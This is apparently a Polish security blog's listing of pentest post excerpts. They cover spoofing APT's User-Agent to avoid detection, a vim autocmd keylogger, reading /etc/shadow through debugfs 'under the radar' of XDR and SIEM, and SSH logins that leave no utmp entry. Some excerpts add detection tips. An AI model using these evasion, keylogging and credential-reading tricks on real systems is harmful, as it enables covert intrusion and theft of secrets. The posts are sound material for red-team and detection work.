NFsec Logo

Wykrywanie i zmiana nagłówka HTTP User-Agent dla APT

26/03/2024 w Pen Test Możliwość komentowania Wykrywanie i zmiana nagłówka HTTP User-Agent dla APT została wyłączona

O

d strony inżynierii detekcji warto wykrywać różnego rodzaju dziwne nagłówki aplikacji klienckich (ang. User-Agent) w sieci firmowej np. te należące do Kali lub Raspbian. Z kolei od strony ofensywnej czasami może być konieczna zmiana wartości User-Agent, gdy nie chcemy ujawniać, że używamy konkretnej wersji menadżera pakietów APT (ang. Advanced Packaging Tool) np. gdy wykonujemy pentesty w otoczeniu systemów Windows. Domyślnie system Ubuntu używa tej aplikacji klienckiej przy korzystaniu z polecenia apt:

GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=24857081-
If-Range: Mon, 25 Mar 2024 21:47:13 GMT
User-Agent: Debian APT-HTTP/1.3 (2.4.11) non-interactive

W celu zmiany tej wartości możemy dodać następujący wpis do pliku /etc/apt/apt.conf.d/77user-agent:

Acquire
{
  http::User-Agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
                    (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36";
};
Acquire::http::User-Agent-Non-Interactive "false";

Pierwszy wpis zmienia wartość Debian APT-HTTP/1.3 (2.4.11) drugi usuwa sufix: non-interactive:

GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=110351-
If-Range: Tue, 26 Mar 2024 16:42:16 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Wartość na którą ustawimy User-Agent powinna odzwierciedlać aktualne wersje przeglądarek – nie ustawiajmy zbyt starych wersji lub platformy (np. mobilnej), która w danej sieci nie będzie miała żadnego sensu. Możemy skorzystać z odpowiedniej strony, aby zapoznać się z bieżącym przykładem swojej przeglądarki. W tak przygotowanym systemie powinniśmy również wyłączyć aktualizowanie pakietów (ręczne i automatyczne), ponieważ monitoring ruchu sieciowego może z łatwością wyłapać trafienia do adresów kali.org oraz raspbian.org.

Więcej informacji: List of User Agents strings, Changing apt’s User-Agent string, Configuration file for APT

Czysta funkcja bash do pobierania i uruchamiania ładunków

28/11/2023 w Pen Test Możliwość komentowania Czysta funkcja bash do pobierania i uruchamiania ładunków została wyłączona

C

zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: “stardust.nfsec.pl+80+payload.sh“, czyli separatorem zmiennych będzie znak “+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:
[ czytaj całość… ]

Zamieniamy vim w keylogger

06/03/2023 w Pen Test Możliwość komentowania Zamieniamy vim w keylogger została wyłączona

Jeśli dodamy poniższą linijkę do pliku ~/.vimrc lub ~/.vim/plugins/keylogger.vim:

:autocmd BufWritePost * :silent :w! >> /dev/shm/keylogger.txt

To wszystkie wpisane dane wpisane w edytorze wylądują w pliku /dev/shm/keylogger.txt. Dla osób stojących po drugiej stronie wojny edytorów – jeśli do pliku ~/.nanorc lub /etc/nanorc wpisy:

set backup
set backupdir /dev/shm
set allow_insecure_backup

To kopie zapasowe edytowanych plików wylądują w katalogu /dev/shm/:

root@stardust:~# ls -al /dev/shm/
total 8
drwxrwxrwt  2 root root   80 Mar  6 20:17  .
drwxr-xr-x 18 root root 4120 Feb 11 17:58  ..
-rw-r-----  1 root root   31 Mar  6 20:09  keylogger.txt
-rw-r-----  1 root root   22 Mar  6 20:09 '!root!passwords.txt~'

Jeśli pliki konfiguracyjne mają zostać pominięte przy uruchomieniu wystarczy uruchomić je z opcjami:

nano -R [plik]
vim -u NONE [plik]

Więcej informacji: Alh4zr3d on Twitter

Alternatywne otwieranie plików pod radarem XDR i SIEM

11/12/2022 w Pen Test Możliwość komentowania Alternatywne otwieranie plików pod radarem XDR i SIEM została wyłączona

root@darkstar:~# debugfs
debugfs 1.44.1 (24-Mar-2018)
debugfs:  open /dev/vda1
debugfs:  cd /etc
debugfs:  cat shadow
root:$6$HeeGzA.awU7P35OuN6GbBHl7yAwIDmelemelekIiaGLVYA8/hNKI1:19290:0:99999:7:::

Więcej informacji: 0xm1rch

Wykrywanie tylnych wejść do systemu Linux opartych o OpenSSL

24/05/2021 w Bezpieczeństwo Możliwość komentowania Wykrywanie tylnych wejść do systemu Linux opartych o OpenSSL została wyłączona

Z

nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.
[ czytaj całość… ]

Prawie niewidzialne SSH

25/02/2021 w Hacks & Scripts Możliwość komentowania Prawie niewidzialne SSH została wyłączona

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T agresor@192.168.1.1 \
"bash -i"

Jeśli w ten sposób połączymy się z wybranym serwerem przez SSH, to nasz użytkownik nie zostanie dodany do pliku /var/log/utmp i nie pojawi się w poleceniu who (zalogowanych użytkowników). Pominie również takie pliki, jak .profile oraz .bash_profile, a po stronie klienta nie zarejestruje nazwy hosta zapisując go do pliku ~/.ssh/known_hosts:

agresor@darkstar:~$ w
w
 22:44:35 up 11 min,  1 user,  load average: 0.05, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                22:37    5:15   0.04s  0.03s -bash
agresor@darkstar:~$ who
who
root    tty1         2021-02-25 22:37

Prawie niewidzialne SSH, ponieważ połączenie sieciowe nadal widnieje w systemie:

agresor@darkstar:~$ ss -t
ss -t
State   Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process
ESTAB   0        0           192.168.56.2:ssh      192.168.56.1:49998

Plus możemy zacząć szukać sesji, które nie mają zaalokowanego terminala:

agresor@darkstar:~$ loginctl | grep -v pts
SESSION  UID USER    SEAT TTY
      3 1000 agresor

3 sessions listed.

agresor@darkstar:~$ loginctl session-status 3
3 - agresor (1000)
           Since: Mon 2022-11-21 22:01:48 UTC; 37min ago
          Leader: 1880 (sshd)
          Remote: 127.0.0.1
         Service: sshd; type tty; class user
           State: active
            Unit: session-3.scope
                  ├─1880 "sshd: agresor [priv]"
                  ├─1927 "sshd: agresor@notty" ""
                  └─1928 bash -i

Nov 21 22:01:48 darkstar systemd[1]: Started Session 3 of User agresor.

agresor@darkstar:~$ pstree `ps -eo pid,cmd | grep sshd\:.*@notty \
                    | grep -v grep | awk '{ print $1 }'` -ap
sshd,1927
  └─bash,1928 -i

Więcej informacji: man ssh